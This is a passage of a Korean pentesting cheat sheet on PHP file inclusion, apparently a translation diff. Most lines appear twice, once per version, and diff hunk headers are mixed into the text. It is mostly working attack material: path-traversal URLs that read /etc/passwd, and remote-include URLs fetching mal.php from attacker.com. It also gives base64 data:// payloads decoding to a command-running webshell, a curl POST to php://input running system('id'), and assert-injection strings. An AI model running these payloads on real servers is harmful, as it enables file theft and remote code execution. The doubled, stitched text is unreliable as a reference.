### 존재하는 폴더에서
아마도 백엔드가 폴더 경로를 검사하고 있을 수 있습니다:
어쩌면 back-end가 폴더 경로를 검사하고 있을 수 있습니다:
```python
http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
```
### 서버에서 파일 시스템 디렉터리 탐색
서버의 파일 시스템은 특정 기법을 사용해 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 확인하고 특정 폴더의 존재를 탐침하는 것을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
서버의 파일 시스템은 특정 기술을 사용하여 파일뿐 아니라 디렉터리도 재귀적으로 탐색할 수 있습니다. 이 과정은 디렉터리 깊이를 판단하고 특정 폴더의 존재 여부를 확인하는 작업을 포함합니다. 아래는 이를 달성하기 위한 자세한 방법입니다:
1. **디렉터리 깊이 확인:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오는 것으로 확인합니다(서버가 Linux 기반인 경우 적용 가능). 예시 URL은 다음과 같이 구성될 수 있으며, 이는 깊이가 3임을 나타냅니다:
1. **디렉터리 깊이 판단:** 현재 디렉터리의 깊이는 `/etc/passwd` 파일을 성공적으로 가져오면 확인할 수 있습니다(서버가 Linux 기반인 경우 해당). 예시 URL은 다음과 같이 구성되어 깊이가 세임을 나타낼 수 있습니다:
```bash
http://example.com/index.php?page=../../../etc/passwd # depth of 3
```
2. **폴더 탐색 시도:** URL에 의심되는 폴더 이름(예: `private`)을 추가한 다음, `/etc/passwd`로 돌아가세요. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
2. **폴더 탐색:** 의심되는 폴더 이름(예: `private`)을 URL에 추가한 다음 `/etc/passwd`로 다시 이동합니다. 추가된 디렉터리 레벨 때문에 depth를 하나 증가시켜야 합니다:
```bash
http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=4
```
3. **결과 해석:** 서버의 응답은 해당 폴더의 존재 여부를 알려줍니다:
- **오류 / 출력 없음:** 지정된 위치에 `private` 폴더가 없을 가능성이 높습니다.
- **`/etc/passwd`의 내용:** `private` 폴더의 존재가 확인됩니다.
4. **재귀적 탐색:** 발견한 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 조사할 수 있습니다.
3. **Interpret the Outcomes:** 서버의 응답은 해당 폴더의 존재 여부를 나타냅니다:
- **Error / No Output:** 폴더 `private`는 지정된 위치에 존재하지 않을 가능성이 높습니다.
- **Contents of `/etc/passwd`:** `/etc/passwd`의 내용이 표시되면 `private` 폴더의 존재가 확인됩니다.
4. **Recursive Exploration:** 발견된 폴더는 동일한 기법이나 전통적인 Local File Inclusion (LFI) 방법으로 하위 디렉토리나 파일을 추가로 탐색할 수 있습니다.
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정할 때 `/var/www/``private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
파일 시스템의 다른 위치에 있는 디렉토리를 탐색하려면 payload를 적절히 조정하세요. 예를 들어, 현재 디렉토리가 깊이 3에 있다고 가정하고 `/var/www/``private` 디렉토리가 있는지 확인하려면 다음을 사용하세요:
```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
```
### **Path Truncation Technique**
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법이다. 이 방법은 파일 경로 끝에 추가 문자를 붙여 차단하는 일부 보안 조치를 우회해 제한된 파일에 접근하는 데 자주 사용된다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것다.
Path truncation은 웹 애플리케이션에서 파일 경로를 조작하기 위해 사용되는 기법입니다. 주로 파일 경로 끝에 추가 문자를 덧붙이는 보안 조치를 bypass하여 제한된 파일에 접근하는 데 사용됩니다. 목표는 보안 조치에 의해 변경된 이후에도 여전히 원하는 파일을 가리키는 파일 경로를 만드는 것입니다.
In PHP에서는 파일 시스템의 특성상 파일 경로의 여러 표현이 동등하게 취급될 수 있다. 예를 들어:
In PHP, 파일 시스템의 특성상 파일 경로의 다양한 표현이 동일하게 취급될 수 있습니다. 예를 들어:
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 같은 경로로 처리된다.
- 마지막 6자가 `passwd`일 때, 끝에 `/`를 추가해 `passwd/`로 만들어도 대상 파일은 변경되지 않는다.
- 마찬가지로, 파일 경로 끝에 `.php`가 붙은 경우(예: `shellcode.php`), 끝에 `/.`를 추가해도 접근하는 파일은 변경되지 않는다.
- `/etc/passwd`, `/etc//passwd`, `/etc/./passwd`, and `/etc/passwd/`는 모두 동일한 경로로 취급됩니다.
- When the last 6 characters are `passwd`, appending a `/` (making it `passwd/`) doesn't change the targeted file.
- Similarly, if `.php` is appended to a file path (like `shellcode.php`), adding a `/.` at the end will not alter the file being accessed.
다음 예제들은 민감한 내용(사용자 계정 정보) 때문에 자주 겨냥되는 `/etc/passwd`에 접근하기 위해 path truncation을 활용하는 방법을 보여준다:
제공된 예시는 path truncation을 이용해 민감한 내용을 담고 있는 일반적인 대상인 `/etc/passwd`에 접근하는 방법을 보여줍니다 (사용자 계정 정보):
```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -125,13 +125,13 @@ http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[
http://example.com/index.php?page=a/./.[ADD MORE]/etc/passwd
http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/passwd
```
이러한 시나리오에서는 필요한 traversals 수가 약 2027개 정도일 수 있지만, 이 수는 서버의 구성에 따라 달라집니다.
이러한 시나리오에서는 필요한 traversals 수가 대략 2027개 정도일 수 있지만, 이 수치는 서버 구성에 따라 달라질 수 있습니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가적인 dot segments 및 문자를 결합하면 파일 시스템을 탐색하는 데 사용될 수 있으며, 서버가 덧붙인 문자열을 효과적으로 무시할 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉토리로 이동한 다음 `/etc/passwd`에 도달하기 위해 필요한 정확한 `../` 시퀀스 수를 찾을 수 있으며, 이때 `.php` 같은 덧붙여진 문자열은 무력화하되 원하는 경로(` /etc/passwd`)는 그대로 유지되도록 합니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉토리(예: `a/`)로 시작하는 것은 흔한 관행입니다. 이 기법은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 충족시키기 위해 사용됩니다.
- **Using Dot Segments and Additional Characters**: Traversal sequences (`../`)와 추가 점 세그먼트 및 문자들을 조합하여 파일 시스템을 탐색할 수 있으며, 이로써 서버가 덧붙인 문자열을 사실상 무시할 수 있습니다.
- **Determining the Required Number of Traversals**: 시행착오를 통해 루트 디렉터리까지, 그 다음 `/etc/passwd`로 이동하는 데 필요한 정확한 `../` 시퀀스 수를 찾아낼 수 있으며, 이 과정에서 `.php` 같은 덧붙여진 문자열은 무력화되지만 원하는 경로 (`/etc/passwd`)는 온전하게 유지됩니다.
- **Starting with a Fake Directory**: 경로를 존재하지 않는 디렉터리(예: `a/`)로 시작하는 것은 일반적인 관행입니다. 이 기술은 예방 조치로 사용되거나 서버의 경로 파싱 로직 요구사항을 만족시키기 위해 사용됩니다.
path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
path truncation techniques를 사용할 때는 서버의 경로 파싱 동작과 파일시스템 구조를 이해하는 것이 중요합니다. 각 시나리오마다 다른 접근이 필요할 수 있으며, 가장 효과적인 방법을 찾기 위해 테스트가 자주 필요합니다.
**이 취약점은 PHP 5.3에서 수정되었습니다.**
@ -145,45 +145,45 @@ http://example.com/index.php?page=PhP://filter
```
## Remote File Inclusion
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off**이기 때문입니다. 동하려면 **On**이어야 하며, 그 경우 서버 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
php에서는 기본적으로 비활성화되어 있습니다. 이는 **`allow_url_include`**가 **Off.**이기 때문입니다. 동하려면 **On**이어야 하며, 그 경우 서버에서 PHP 파일을 include하여 RCE를 얻을 수 있습니다:
```python
http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php
```
만약 어떤 이유로 **`allow_url_include`**가 **On**이지만 PHP가 외부 웹페이지 접근을 **filtering**하고 있다면, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data 프로토콜과 base64를 사용해 b64 PHP 코드를 디코드하고 RCE를 얻을 수 있습니다:
어떤 이유로 **`allow_url_include`**가 **On**인데, PHP가 외부 웹페이지에 대한 접근을 **필터링**하는 경우, [according to this post](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), 예를 들어 data protocol과 base64를 사용하여 b64 PHP 코드를 디코드하고 egt RCE를 얻을 수 있습니다:
```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
```
> [!TIP]
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가되었으며, 따라서 문자열은 그것으로 끝나고 b64 디코딩 후 해당 부분은 단순히 쓸모없는 데이터를 반환하고 실제 PHP 코드가 포함(따라서 실행)됩니다.
> 이전 코드에서 마지막 `+.txt`는 공격자가 `.txt`로 끝나는 문자열을 필요로 했기 때문에 추가된 것입니다. 문자열은 그로 끝나고 b64 디코드 후 그 부분은 단지 쓰레기를 반환하며 실제 PHP 코드는 포함되어 (따라서, 실행) 됩니다.
다른 예시로, **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
다른 예시로 **`php://` 프로토콜을 사용하지 않는** 경우는 다음과 같습니다:
```
data://text/plain;base64,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+txt
```
## Python 루트 요소
python에서 다음과 같은 코드의 경우:
다음과 같은 python 코드에서:
```python
# file_name is controlled by a user
os.path.join(os.getcwd(), "public", file_name)
```
사용자가 **absolute path**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**:
사용자가 **절대 경로**를 **`file_name`**에 전달하면, **이전 경로는 단순히 제거됩니다**:
```python
os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd'
```
이는 [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join)에 따른 의도된 동작입니다:
It is the intended behaviour according to [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> 컴포넌트가 절대 경로인 경우, 이전의 모든 컴포넌트는 버려지고 결합은 절대 경로 컴포넌트부터 계속됩니다.
> 구성 요소가 절대 경로인 경우, 이전의 모든 구성 요소는 버려지고 결합은 절대 경로 구성 요소에서 계속됩니다.
## Java 디렉토리 목록
## Java 디렉토리 나열
Java에서 Path Traversal이 있을 경우 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환되는 것 같습니다**. 다른 언어에서는 이런 일이 발생하지 않는 것으로 보입니다(내가 알기로는).
보아하니 Java에서 Path Traversal이 있고 파일 대신 디렉토리를 **요청하면**, 디렉토리의 **목록이 반환됩니다**. 다른 언어에서는 이런 일이 발생하지 않는 것 같습니다 (afaik).
## 상위 25개 매개변수
## 상위 25개 파라미터
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 매개변수 목록입니다 (from [link](https://twitter.com/trbughunters/status/1279768631845494787)):
다음은 local file inclusion (LFI) 취약점에 노출될 수 있는 상위 25개 파라미터 목록입니다 (출처: [link](https://twitter.com/trbughunters/status/1279768631845494787)):
```
?cat={payload}
?dir={payload}
@ -211,38 +211,38 @@ Java에서 Path Traversal이 있을 경우 파일 대신 디렉토리를 **요
?mod={payload}
?conf={payload}
```
## LFI / RFI — PHP 래퍼 및 프로토콜을 사용한
## LFI / RFI — PHP wrappers 및 프로토콜 사용
### php://filter
PHP filters는 데이터가 읽히거나 써지기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 해준다. 필터는 5가지 카테고리로 나뉜다:
PHP filters는 데이터가 읽히거나 쓰이기 전에 기본적인 **데이터 수정 작업**을 수행할 수 있게 합니다. 필터는 5가지 범주로 나뉩니다:
- [String Filters](https://www.php.net/manual/en/filters.string.php):
- `string.rot13`
- `string.toupper`
- `string.tolower`
- `string.strip_tags`: 데이터에서 태그 제거 ( "<"와 ">" 문자 사이의 모든 것)
- `string.strip_tags`: 데이터에서 태그를 제거합니다 (everything between "<" and ">" chars)
- Note that this filter has disappear from the modern versions of PHP
- [Conversion Filters](https://www.php.net/manual/en/filters.convert.php)
- `convert.base64-encode`
- `convert.base64-decode`
- `convert.quoted-printable-encode`
- `convert.quoted-printable-decode`
- `convert.iconv.*` : 다른 인코딩으로 변환(`convert.iconv.<input_enc>.<output_enc>`) . 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
- `convert.iconv.*` : 다른 인코딩으로 변환합니다(`convert.iconv.<input_enc>.<output_enc>`). 지원되는 **모든 인코딩 목록**을 얻으려면 콘솔에서 `iconv -l`을 실행하세요.
> [!WARNING]
> Abusing the `convert.iconv.*` conversion filter you can **generate arbitrary text**, which could be useful to write arbitrary text or make a function like include process arbitrary text. For more info check [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
> `convert.iconv.*` 변환 필터를 악용하면 **임의의 텍스트를 생성할 수 있습니다**, 이는 임의 텍스트를 쓰거나 include 같은 함수가 임의 텍스트를 처리하게 만드는 데 유용할 수 있습니다. 자세한 내용은 [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md)를 확인하세요.
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: 콘텐츠를 압축 (많은 정보를 exfiltrate 할 때 유용)
- `zlib.inflate`: 데이터를 압축 해제
- `zlib.deflate`: 내용을 압축합니다 (useful if exfiltrating a lot of info)
- `zlib.inflate`: 데이터를 압축 해제합니다
- [Encryption Filters](https://www.php.net/manual/en/filters.encryption.php)
- `mcrypt.*` : 더 이상 사용되지 않음
- `mdecrypt.*` : 더 이상 사용되지 않음
- `mcrypt.*` : 사용 중단됨
- `mdecrypt.*` : 사용 중단됨
- Other Filters
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있다:
- php에서 `var_dump(stream_get_filters());`를 실행하면 몇 가지 **예상치 못한 필터**를 찾을 수 있습니다:
- `consumed`
- `dechunk`: HTTP chunked 인코딩을 역변환
- `dechunk`: reverses HTTP chunked encoding
- `convert.*`
```php
# String Filters
@ -275,34 +275,34 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Using php filters as oracle to read arbitrary files
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 은 서버에서 출력이 바로 반환되지 않는 상황에서 로컬 파일을 읽는 기법을 제안합니다. 이 기법은 **php filters를 oracle로 사용한 파일의 boolean exfiltration(문자 단위)** 에 기반합니다. 이는 php filters가 텍스트를 충분히 크게 만들어 php가 예외를 던지게 할 수 있기 때문입니다.
[**In this post**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) 에서는 서버로부터 출력이 직접 반환되지 않아도 로컬 파일을 읽을 수 있는 기법을 제안합니다. 이 기법은 **boolean exfiltration of the file (char by char) using php filters** 를 오라클로 사용하는 방식에 기반합니다. 이는 php filters를 이용해 텍스트를 충분히 크게 만들어 php가 예외를 발생시키게 할 수 있기 때문입니다.
원문 포스트에는 기법에 대한 자세한 설명이 있으니 참고하시고, 여기에는 간단한 요약만 적습니다:
원문 포스트에서 기법의 자세한 설명을 볼 수 있으며, 여기에는 간단한 요약을 적습니다:
- codec **`UCS-4LE`** 를 사용해 텍스트의 선행 문자를 남기고 문자열의 크기를 기하급수적으로 증가시킵니다.
- 이렇게 하면 초깃값 문자가 정확히 맞았을 때 텍스트가 매우 커져 php가 **error** 를 발생시킵니다.
- **dechunk** filter는 **첫 문자가 hexadecimal이 아니면 모든 것을 제거** 하므로, 첫 문자가 hex인지 알 수 있습니다.
- 이것은 이전 변환들과(및 추측한 문자에 따라 다른 filters) 결합되어, 초기 텍스트의 첫 문자가 변환을 충분히 거쳐 hexadecimal이 아니게 되는 시점을 통해 문자를 추정할 수 있게 해줍니다. 만약 hex라면 dechunk가 삭제하지 않고, 초기 폭발(bomb)이 php error를 유발합니다.
- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(예: a -> b). 따라서 예를 들어 첫 문자가 `a`인지 알아내려면 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 더 이상 hexadecimal 문자가 아니게 되고, 결과적으로 dechunk가 삭제하지 않아 초기 bomb으로 php error가 발생하는지로 판단할 수 있습니다.
- 시작에서 **rot13** 같은 다른 변환을 사용하면 n, o, p, q, r 같은 다른 문자들을 leak할 수 있습니다(또한 다른 codecs를 이용해 다른 문자들을 hex 범위로 이동시킬 수 있습니다).
- 초기 문자가 숫자일 경우에는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 판별해야 합니다.
- 최종 문제는 **초기 문자보다 더 많은 데이터**를 어떻게 leak할 것인가입니다. convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE 같은 order memory filters를 사용하면 문자들의 순서를 변경하여 텍스트의 다른 문자를 첫 위치로 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 **convert.iconv.UTF16.UTF16** 으로 초반에 2바이트의 잡(junk) 데이터를 생성하고, **UCS-4LE** 를 적용해 **다음 2바이트와 피벗(pivot)** 시키고, 잡 데이터가 나올 때까지 데이터를 삭제해(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다) 원하는 비트에 도달할 때까지 이 과정을 계속합니다.
- codec **`UCS-4LE`** 를 사용하면 텍스트의 선행 문자가 앞부분에 남고 문자열 크기가 지수적으로 증가합니다.
- 이것을 이용해 **초기 문자가 올바르게 추측되었을 때 텍스트가 매우 커져서** php가 **오류**를 발생시키도록 만듭니다.
- **dechunk** 필터는 **첫 문자가 16진수가 아니면 모든 것을 제거**하므로 첫 문자가 16진수인지 알 수 있습니다.
- 이 점과 앞의 방법(및 추측한 문자에 따라 사용하는 다른 필터들)을 조합하면, 충분한 변환을 수행했을 때 처음 문자가 16진수가 아니게 되는 시점을 통해 처음 문자를 추측할 수 있습니다. 만약 16진수라면 dechunk가 삭제하지 않고 초기 폭탄(bomb)이 php 오류를 유발합니다.
- codec **convert.iconv.UNICODE.CP930** 은 각 문자를 다음 문자로 변환합니다(따라서 이 codec을 적용하면: a -> b). 이를 이용하면 예를 들어 처음 문자가 `a`인지 확인할 수 있습니다. 이 codec을 6번 적용하면 a->b->c->d->e->f->g 가 되어 문자가 더 이상 16진수 문자가 아니게 되고, 따라서 dechunk가 삭제하지 않아 초기 폭탄으로 인해 php 오류가 발생합니다.
- 초기에 **rot13** 같은 변환을 사용하면 n, o, p, q, r 같은 문자들도 leak할 수 있으며(다른 codec들을 사용해 다른 문자들을 16진수 범위로 이동시킬 수도 있습니다) .
- 초기 문자가 숫자일 때는 base64로 인코딩하고 처음 두 글자를 leak하여 숫자를 식별해야 합니다.
- 최종 문제는 **초기 문자보다 더 많은 문자들을 어떻게 leak할 것인가**입니다. 순서 변경 memory 필터들인 **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** 등을 사용하면 문자들의 순서를 바꿔 텍스트의 다른 문자를 첫 번째 위치로 가져올 수 있습니다.
- 추가 데이터를 얻기 위해서는 아이디어가 **convert.iconv.UTF16.UTF16** 으로 시작에 2바이트의 정크 데이터를 생성하고, **UCS-4LE** 를 적용해 다음 2바이트와 pivot 시키며, 정크 데이터가 나올 때까지 데이터를 삭제하는 것입니다(이렇게 하면 초기 텍스트의 처음 2바이트가 제거됩니다). 원하는 비트를 leak할 때까지 이 과정을 반복합니다.
In the post a tool to perform this automatically was also leaked: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
포스트에는 이 작업을 자동화한 도구도 공개되어 있습니다: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd
이 wrapper는 프로세스가 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용할 수 있습니다:
이 wrapper는 프로세스가 열어둔 file descriptors에 접근할 수 있게 해줍니다. 열린 파일의 내용을 exfiltrate하는 데 잠재적으로 유용니다:
```php
echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r");
```
또한 **php://stdin, php://stdout and php://stderr**를 사용하여 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 잘 모르겠습니다)
또한 **php://stdin, php://stdout and php://stderr**를 사용 각각 **file descriptors 0, 1 and 2**에 접근할 수 있습니다 (공격에서 어떻게 유용할지는 확실하지 않습니다)
### zip:// and rar://
### zip:// rar://
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근하세요.\
PHPShell이 포함된 Zip 또는 Rar 파일을 업로드하고 접근합니다.\
rar protocol을 악용하려면 **명시적으로 활성화되어야 합니다**.
```bash
echo "<pre><?php system($_GET['cmd']); ?></pre>" > payload.php;
@ -339,13 +339,13 @@ http://example.com/index.php?page=expect://ls
```
### input://
POST 매개변수에 payload를 지정하세요:
POST 파라미터에 payload를 지정하세요:
```bash
curl -XPOST "http://example.com/index.php?page=php://input" --data "<?php system('id'); ?>"
```
### phar://
`.phar` 파일은 웹 애플리케이션이 파일 로드를 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일을 생성하는 방법을 보여줍니다:
`.phar` 파일은 웹 애플리케이션이 파일 로딩을 위해 `include` 같은 함수를 사용할 때 PHP 코드를 실행하는 데 사용할 수 있습니다. 아래의 PHP 코드 스니펫은 `.phar` 파일 생성 예시를 보여줍니다:
```php
<?php
$phar = new Phar('test.phar');
@ -358,11 +358,11 @@ $phar->stopBuffering();
```bash
php --define phar.readonly=0 create_path.php
```
Upon execution, a file named `test.phar` will be created, which could potentially be leveraged to exploit Local File Inclusion (LFI) vulnerabilities.
실행하면 `test.phar` 파일이 생성되며, 이는 Local File Inclusion (LFI) 취약점을 악용하는 데 사용될 수 있습니다.
LFI가 PHP 내부의 코드를 실행하지 않고 단순히 파일을 읽기만 하는 경우(예: `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 등의 함수로), deserialization 취약점을 이용한 공격을 시도할 수 있습니다. 이 취약점은 `phar` 프로토콜을 통해 파일을 읽을 때 관련됩니다.
LFI가 내부의 PHP 코드를 실행하지 않고 `file_get_contents()`, `fopen()`, `file()`, `file_exists()`, `md5_file()`, `filemtime()`, `filesize()` 같은 함수로 파일을 단순히 읽기만 하는 경우, `phar` 프로토콜을 통한 파일 읽기와 관련된 역직렬화 취약성을 악용할 수 있습니다.
For a detailed understanding of exploiting deserialization vulnerabilities in the context of `.phar` files, refer to the document linked below:
자세한 내용은 아래 문서를 참조하세요:
[Phar Deserialization Exploitation Guide](phar-deserialization.md)
@ -373,36 +373,35 @@ phar-deserialization.md
### CVE-2024-2961
It was possible to abuse **any arbitrary file read from PHP that supports php filters** to get a RCE. The detailed description can be [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
Very quick summary: a **3 byte overflow** in the PHP heap was abused to **alter the chain of free chunks** of anspecific size in order to be able to **write anything in any address**, so a hook was added to call **`system`**.\
It was possible to alloc chunks of specific sizes abusing more php filters.
PHP에서 php filters를 지원하는 임의의 파일 읽기(**any arbitrary file read from PHP that supports php filters**)를 악용해 RCE를 얻을 수 있었습니다. 자세한 설명은 [**found in this post**](https://www.ambionics.io/blog/iconv-cve-2024-2961-p1)**.**\
매우 간단한 요약: PHP heap의 **3 byte overflow**를 악용해 특정 크기의 free chunks 체인을 **alter the chain of free chunks**하도록 변경하여 임의 주소에 **write anything in any address**할 수 있게 만들었고, 그래서 **`system`**을 호출하는 hook을 추가했습니다.\ 더 많은 php filters를 악용해 특정 크기의 chunks를 alloc하는 것도 가능했습니다.
### More protocols
Check more possible[ **protocols to include here**](https://www.php.net/manual/en/wrappers.php)**:**
더 많은 가능한 [**protocols to include here**](https://www.php.net/manual/en/wrappers.php)**을 확인하세요:**
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (file inclusion attack에서 어떻게 유용할지 확실하지 않음)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일시스템 접근
- [php://memory and php://temp](https://www.php.net/manual/en/wrappers.php.php#wrappers.php.memory) — 메모리나 임시 파일에 쓰기 (not sure how this can be useful in a file inclusion attack)
- [file://](https://www.php.net/manual/en/wrappers.file.php) — 로컬 파일 시스템 접근
- [http://](https://www.php.net/manual/en/wrappers.http.php) — HTTP(s) URL 접근
- [ftp://](https://www.php.net/manual/en/wrappers.ftp.php) — FTP(s) URL 접근
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — Compression Streams
- [zlib://](https://www.php.net/manual/en/wrappers.compression.php) — 압축 스트림
- [glob://](https://www.php.net/manual/en/wrappers.glob.php) — 패턴에 맞는 경로명 찾기 (출력 가능한 내용을 반환하지 않으므로 여기서는 그다지 유용하지 않음)
- [ssh2://](https://www.php.net/manual/en/wrappers.ssh2.php) — Secure Shell 2
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (임의 파일을 읽는 데에는 유용하지 않음)
- [ogg://](https://www.php.net/manual/en/wrappers.audio.php) — 오디오 스트림 (arbitrary files 읽기에는 유용하지 않음)
## LFI via PHP's 'assert'
## LFI via PHP 'assert'
Local File Inclusion (LFI)는 문자열 내의 코드를 실행할 수 있는 'assert' 함수를 다룰 때 특히 위험합니다. 입력에 ".." 같은 directory traversal 문자가 포함되어 있는지 검사하지만 제대로 정제되지 않는 경우 문제가 됩니다.
PHP에서 'assert' 함수는 문자열 내의 코드를 실행할 수 있기 때문에 Local File Inclusion (LFI)의 위험이 특히 큽니다. 특히 ".." 같은 directory traversal 문자를 포함한 입력을 검사하지만 적절히 정제(sanitize)하지 않는 경우 더 문제가 됩니다.
For example, PHP code might be designed to prevent directory traversal like so:
예를 들어, PHP 코드가 다음과 같이 directory traversal을 방지하도록 작성되어 있을 수 있습니다:
```bash
assert("strpos('$file', '..') === false") or die("");
```
것은 traversal을 막기 위한 것이지만, 의도치 않게 code injection을 위한 벡터를 만듭니다. 파일 내용을 읽기 위해 이를 악용하려면 공격자는 다음을 사용할 수 있습니다:
는 traversal을 차단하려는 의도이지만, 의도치 않게 code injection을 위한 벡터를 생성합니다. 파일 내용을 읽기 위해 이를 악용하려면, 공격자는 다음을 사용할 수 있습니다:
```plaintext
' and die(highlight_file('/etc/passwd')) or '
```
마찬가지로, 임의의 시스템 명령을 실행하려면 다음을 사용할 수 있다:
유사하게, 임의의 시스템 명령을 실행하기 위해 다음을 사용할 수 있습니다:
```plaintext
' and die(system("id")) or '
```
@ -411,36 +410,36 @@ It's important to **URL-encode these payloads**.
## PHP Blind Path Traversal
> [!WARNING]
> 이 기법은 당신이 **파일 경로**를 **제어**할 수 있는 **PHP 함수**가 파일에 **접근**하지만 파일 내용을 보지 못하는 경우(예: 단순한 **`file()`** 호출)와 관련이 있습니다. 그러나 내용은 표시되지 않습니다.
> 이 기법은 당신이 **file path**를 제어하는 **PHP function**이 파일에 접근하지만 파일의 내용을 볼 수 없는 경우(예: 단순한 **`file()`** 호출처럼)에 해당합니다.
In [**this incredible post**](https://www.synacktiv.com/en/publications/php-filter-chains-file-read-from-error-based-oracle.html) it's explained how a blind path traversal can be abused via PHP filter to **exfiltrate the content of a file via an error oracle**.
요약하면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **크게** 만들어 그 파일을 여는 **PHP function**이 **오류**를 발생시키게 합니다.
요약하면, 이 기법은 **"UCS-4LE" encoding**을 사용해 파일의 내용을 매우 **big**하게 만들어 해당 파일을 여는 **PHP function**이 **error**를 발생시키도록 합니다.
후 첫 문자를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 다른 필터들과 함께 사용되고, 마지막으로 필터 **convert.iconv.UCS-4.UCS-4LE** 및 **convert.iconv.UTF16.UTF-16BE**를 사용해 다른 문자들을 시작 부분에 배치하고 그 문자들을 leak합니다.
다음, 첫 번째 char를 leak하기 위해 필터 **`dechunk`**가 **base64**나 **rot13** 같은 필터들과 함께 사용되며, 마지막으로 **convert.iconv.UCS-4.UCS-4LE**와 **convert.iconv.UTF16.UTF-16BE** 필터를 사용해 다른 chars를 맨 앞에 배치하고 그것들을 leak합니다.
